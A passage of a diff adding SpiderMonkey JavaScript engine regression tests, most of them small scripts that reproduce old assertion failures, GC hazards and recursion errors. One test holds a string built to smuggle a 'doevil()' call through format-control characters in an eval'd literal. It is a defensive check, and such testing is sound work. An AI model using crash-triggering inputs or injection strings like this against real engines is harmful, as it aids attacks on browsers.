+ errors.push('null property is not enumerable');
+
+ var getter_was_called = false;
+ obj.__defineGetter__(null, function() { getter_was_called = true; return 1; });
+ obj['null'];
+
+ if (!getter_was_called)
+ errors.push('getter was not assigned to the null property');
+
+ var setter_was_called = false;
+ obj.__defineSetter__(null, function() { setter_was_called = true; });
+ obj['null'] = 2;
+
+ if (!setter_was_called)
+ errors.push('setter was not assigned to the null property');
+
+ if (errors.length)
+ actual = errors.join('; ');
+
+ gc();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-414098.js b/js/src/tests/non262/extensions/regress-414098.js
new file mode 100644
index 0000000000..aa2b6e9de8
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-414098.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 414098;
+var summary = 'Getter behavior on arrays';
+var actual = '';
+var expect = '';
+
+var a=[1,2,3];
+var foo = 44;
+a.__defineGetter__(1, function() { return foo + 10; });
+actual = String(a);
+reportCompare("1,54,3", actual, "getter 1");
+
+actual = String(a.reverse());
+reportCompare("3,54,1", actual, "reverse");
+
+var s = "";
+a.forEach(function(e) { s += e + "|"; });
+actual = s;
+reportCompare("3|54|1|", actual, "forEach");
+
+actual = a.join(' - ');
+reportCompare("3 - 54 - 1", actual, "join");
+
+a[2]=3;
+actual = a.pop();
+reportCompare(actual, 3, "pop");
+
+actual = a.pop();
+reportCompare(actual, 54, "pop 2");
diff --git a/js/src/tests/non262/extensions/regress-414755.js b/js/src/tests/non262/extensions/regress-414755.js
new file mode 100644
index 0000000000..6d8057ceba
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-414755.js
@@ -0,0 +1,51 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 414755;
+var summary = 'GC hazard due to missing SAVE_SP_AND_PC';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f()
+ {
+ var a = 1e10;
+ var b = 2e10;
+ var c = 3e10;
+
+ return (a*2) * ((b*2) * c);
+ }
+
+ if (typeof gczeal == 'function')
+ {
+ expect = f();
+
+ gczeal(2);
+
+ actual = f();
+ }
+ else
+ {
+ expect = actual = 'Test requires gczeal, skipped.';
+ }
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(0);
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-416354.js b/js/src/tests/non262/extensions/regress-416354.js
new file mode 100644
index 0000000000..e697776a9d
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-416354.js
@@ -0,0 +1,45 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 416354;
+var summary = 'GC hazard due to missing SAVE_SP_AND_PC';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(a, b, c)
+ {
+ return (-a) * ((-b) * (-c));
+ }
+
+ if (typeof gczeal == 'function')
+ {
+ expect = f(1.5, 1.25, 1.125);
+ gczeal(2);
+ actual = f(1.5, 1.25, 1.125);
+ }
+ else
+ {
+ expect = actual = 'Test requires gczeal, skipped.';
+ }
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(0);
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-416460.js b/js/src/tests/non262/extensions/regress-416460.js
new file mode 100644
index 0000000000..63ac875719
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-416460.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 416460;
+var summary = 'Do not assert: SCOPE_GET_PROPERTY(OBJ_SCOPE(pobj), ATOM_TO_JSID(atom))';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ /a/.__proto__.__proto__ = { "2": 3 };
+ var b = /b/;
+ b["2"];
+ b["2"];
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-416834.js b/js/src/tests/non262/extensions/regress-416834.js
new file mode 100644
index 0000000000..ffd145cf39
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-416834.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 416834;
+var summary = 'Do not assert: !entry || entry->kpc == ((PCVCAP_TAG(entry->vcap) > 1) ? (jsbytecode *) JSID_TO_ATOM(id) : cx->fp->pc)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+this.__proto__.x = eval;
+for (i = 0; i < 16; ++i)
+ delete eval;
+(function w() { x = 1; })();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-420869-01.js b/js/src/tests/non262/extensions/regress-420869-01.js
new file mode 100644
index 0000000000..48c3ffecdc
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-420869-01.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 420869;
+var summary = 'Throw too much recursion instead of script stack space quota';
+var actual = 'No Error';
+var expect = 'InternalError: too much recursion';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(i) {
+ if (i == 0)
+ return 1;
+ return i*f(i-1);
+ }
+
+ try
+ {
+ f();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-422592.js b/js/src/tests/non262/extensions/regress-422592.js
new file mode 100644
index 0000000000..48964ad250
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-422592.js
@@ -0,0 +1,65 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 422592;
+var summary = 'js.c dis/dissrc should not kill script execution';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof dis == 'undefined')
+ {
+ expect = actual = 'Test requires function dis. Not tested';
+ print(expect);
+ }
+ else
+ {
+ expect = 'Completed';
+ actual = 'Not Completed';
+ print('Before dis');
+ try
+ {
+ dis(print);
+ }
+ catch(ex)
+ {
+ }
+ print('After dis');
+ actual = 'Completed';
+ }
+ reportCompare(expect, actual, summary);
+
+ if (typeof dissrc == 'undefined')
+ {
+ expect = actual = 'Test requires function dissrc. Not tested';
+ print(expect);
+ }
+ else
+ {
+ print('Before dissrc');
+ expect = 'Completed';
+ actual = 'Not Completed';
+ try
+ {
+ dissrc(print);
+ }
+ catch(ex)
+ {
+ }
+ print('After dissrc');
+ actual = 'Completed';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-424683-01.js b/js/src/tests/non262/extensions/regress-424683-01.js
new file mode 100644
index 0000000000..80595f070c
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-424683-01.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 424683;
+var summary = 'Throw too much recursion instead of script stack space quota';
+var actual = 'No Error';
+var expect = 'InternalError: too much recursion';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f() { f(); }
+
+ try
+ {
+ f();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-426711.js b/js/src/tests/non262/extensions/regress-426711.js
new file mode 100644
index 0000000000..8bc3e5854a
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-426711.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 426711;
+var summary = 'Setting window.__count__ causes a crash';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof window != 'undefined' && '__count__' in window)
+ {
+ window.__count__ = 0;
+ }
+ else
+ {
+ expect = actual = 'Test skipped. Requires window.__count__';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-427196-01.js b/js/src/tests/non262/extensions/regress-427196-01.js
new file mode 100644
index 0000000000..7b6f359e89
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-427196-01.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 427196;
+var summary = 'Do not assert: OBJ_SCOPE(pobj)->object == pobj';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function boom()
+ {
+ var b = {};
+ Array.__proto__ = b;
+ b.__proto__ = {};
+ var c = {};
+ c.__proto__ = [];
+ try { c.__defineSetter__("t", undefined); } catch(e) { }
+ c.__proto__ = Array;
+ try { c.__defineSetter__("v", undefined); } catch(e) { }
+ }
+
+ boom();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-427196-02.js b/js/src/tests/non262/extensions/regress-427196-02.js
new file mode 100644
index 0000000000..c41c431383
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-427196-02.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 427196;
+var summary = 'Do not assert: OBJ_SCOPE(pobj)->object == pobj';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function boom()
+ {
+ var c = {__proto__: []};
+ var a = {__proto__: {__proto__: {}}};
+ c.hasOwnProperty("t");
+ c.__proto__ = a;
+ c.hasOwnProperty("v");
+ }
+
+ boom();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-427196-03.js b/js/src/tests/non262/extensions/regress-427196-03.js
new file mode 100644
index 0000000000..6d8a14aeb3
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-427196-03.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 427196;
+var summary = 'Do not assert: OBJ_SCOPE(pobj)->object == pobj';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var c = {__proto__: []};
+ var a = {__proto__: {__proto__: {}}};
+ c.hasOwnProperty;
+ c.__proto__ = a;
+ c.hasOwnProperty;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-429739.js b/js/src/tests/non262/extensions/regress-429739.js
new file mode 100644
index 0000000000..5c164a2947
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-429739.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 429739;
+var summary = 'Do not assert: OBJ_GET_CLASS(cx, obj)->flags & JSCLASS_HAS_PRIVATE';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var actual;
+ try
+ {
+ var o = { __noSuchMethod__: Function };
+ actual = (new o.y) + '';
+ throw new Error("didn't throw, produced a value");
+ }
+ catch(ex)
+ {
+ actual = ex;
+ }
+
+ reportCompare("TypeError", actual.name, "bad error name");
+ reportCompare(true, /is not a constructor/.test(actual), summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-430740.js b/js/src/tests/non262/extensions/regress-430740.js
new file mode 100644
index 0000000000..d6d6e32d04
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-430740.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430740;
+var summary = 'Do not strip format-control characters from string literals';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function doevil() {
+ print('evildone');
+ return 'evildone';
+ }
+
+ expect = 'a%E2%80%8D,+doevil()%5D)//';
+ actual += eval("(['a\\\u200d', '+doevil()])//'])");
+ actual = encodeURI(actual);
+ reportCompare(expect, actual, summary);
+
+ expect = 'a%EF%BF%BE,+doevil()%5D)//';
+ actual = eval("(['a\\\ufffe', '+doevil()])//'])");
+ actual = encodeURI(actual);
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-434837-01.js b/js/src/tests/non262/extensions/regress-434837-01.js
new file mode 100644
index 0000000000..16f9450601
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-434837-01.js
@@ -0,0 +1,87 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 434837;
+var summary = '|this| in accessors in prototype chain of array';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ expect = true;
+ actual = null;
+ x = [ "one", "two" ];
+ Array.prototype.__defineGetter__('test1', function() { actual = (this === x); });
+ x.test1;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': x.test1');
+
+ try
+ {
+ expect = false;
+ actual = null;
+ Array.prototype.__defineGetter__('test2', function() { actual = (this === Array.prototype) });
+ x.test2;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': x.test2');
+
+ Array.prototype.__defineGetter__('test3', function() { actual = (this === x) });
+ Array.prototype.__defineSetter__('test3', function() { actual = (this === x) });
+
+ try
+ {
+ expect = true;
+ actual = null;
+ x.test3;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': x.test3 (1)');
+
+ try
+ {
+ expect = true;
+ actual = null;
+ x.test3 = 5;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': x.test3 = 5');
+
+ try
+ {
+ expect = true;
+ actual = null;
+ x.test3;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': x.test3 (2)');
+}
diff --git a/js/src/tests/non262/extensions/regress-435497-01.js b/js/src/tests/non262/extensions/regress-435497-01.js
new file mode 100644
index 0000000000..87b8914413
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-435497-01.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 435497;
+var summary = 'Do not assert op2 == JSOP_INITELEM';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('(function() { x, x setter = 0, y; const x; })();');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-435497-02.js b/js/src/tests/non262/extensions/regress-435497-02.js
new file mode 100644
index 0000000000..ac107687ea
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-435497-02.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 435497;
+var summary = 'Do not assert op2 == JSOP_INITELEM';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('(function() { x setter = 0, y; const x; })();');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-435497-03.js b/js/src/tests/non262/extensions/regress-435497-03.js
new file mode 100644
index 0000000000..9ea783510f
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-435497-03.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 435497;
+var summary = 'Do not assert op2 == JSOP_INITELEM';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('(function() { x getter= function(){} ; var x5, x = 0x99; })();');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-436741.js b/js/src/tests/non262/extensions/regress-436741.js
new file mode 100644
index 0000000000..8e85138cf0
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-436741.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 436741;
+var summary = 'Do not assert: OBJ_IS_NATIVE(obj)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof window == 'undefined')
+ {
+ print('This test is only meaningful in the browser.');
+ }
+ else
+ {
+ try { window.__proto__.__proto__ = [{}]; } catch (e) {}
+ for (var j in window);
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-437288-01.js b/js/src/tests/non262/extensions/regress-437288-01.js
new file mode 100644
index 0000000000..725554dd52
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-437288-01.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 437288;
+var summary = 'for loop turning into a while loop';
+var actual = 'No Hang';
+var expect = 'No Hang';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('(function() { const x = 1; for (x in null); })();');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-44009.js b/js/src/tests/non262/extensions/regress-44009.js
new file mode 100644
index 0000000000..253262fe78
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-44009.js
@@ -0,0 +1,51 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 26 Feb 2001
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=44009
+ *
+ * SUMMARY: Testing that we don't crash on obj.toSource()
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 44009;
+var summary = "Testing that we don't crash on obj.toSource()";
+var obj1 = {};
+var sToSource = '';
+var self = this; //capture a reference to the global JS object -
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var obj2 = {};
+
+ // test various objects and scopes -
+ testThis(self);
+ testThis(this);
+ testThis(obj1);
+ testThis(obj2);
+
+ reportCompare('No Crash', 'No Crash', '');
+}
+
+
+// We're just testing that we don't crash by doing this -
+function testThis(obj)
+{
+ sToSource = obj.toSource();
+ obj.prop = obj;
+ sToSource = obj.toSource();
+}
diff --git a/js/src/tests/non262/extensions/regress-443569.js b/js/src/tests/non262/extensions/regress-443569.js
new file mode 100644
index 0000000000..dbfc1d8114
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-443569.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(xulRuntime.shell)
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 443569;
+var summary = 'Do not assert: OBJ_IS_NATIVE(obj)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// delay test driver end
+gDelayTestDriverEnd = true;
+
+window.addEventListener("load", boom, false);
+
+function boom()
+{
+ var r = RegExp.prototype;
+ r["-1"] = 0;
+ Array.prototype.__proto__ = r;
+ []["-1"];
+
+ reportCompare(expect, actual, summary);
+
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+}
+
+
diff --git a/js/src/tests/non262/extensions/regress-446386.js b/js/src/tests/non262/extensions/regress-446386.js
new file mode 100644
index 0000000000..25359054f5
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-446386.js
@@ -0,0 +1,44 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 446386;
+var summary = 'Do not crash throwing error without compiler pseudo-frame';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof evalcx == 'undefined')
+ {
+ print(expect = actual = 'Test skipped. evalcx required.');
+ }
+ else {
+ try
+ {
+ try {
+ evalcx(".");
+ throw "must throw";
+ } catch (e) {
+ if (e.name != "SyntaxError")
+ throw e;
+ }
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-452168.js b/js/src/tests/non262/extensions/regress-452168.js
new file mode 100644
index 0000000000..998ceca951
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-452168.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452168;
+var summary = 'Do not crash with gczeal 2, JIT: @ avmplus::List or @ nanojit::LirBuffer::validate';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof gczeal == 'undefined')
+ {
+ expect = actual = 'Test requires gczeal, skipped.';
+ }
+ else
+ {
+ // Enumerate the global once before we turn on gczeal, so we're not
+ // trying to do all the enumerate hook object creation with a gc on
+ // every object, because that makes tests time out.
+ for (z in this);
+ gczeal(2);
+
+ var a, b; gczeal(2); (function() { for (var p in this) { } })();
+
+ gczeal(0);
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-452178.js b/js/src/tests/non262/extensions/regress-452178.js
new file mode 100644
index 0000000000..360bc273b9
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-452178.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452178;
+var summary = 'Do not assert with JIT: !(sprop->attrs & JSPROP_SHARED)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
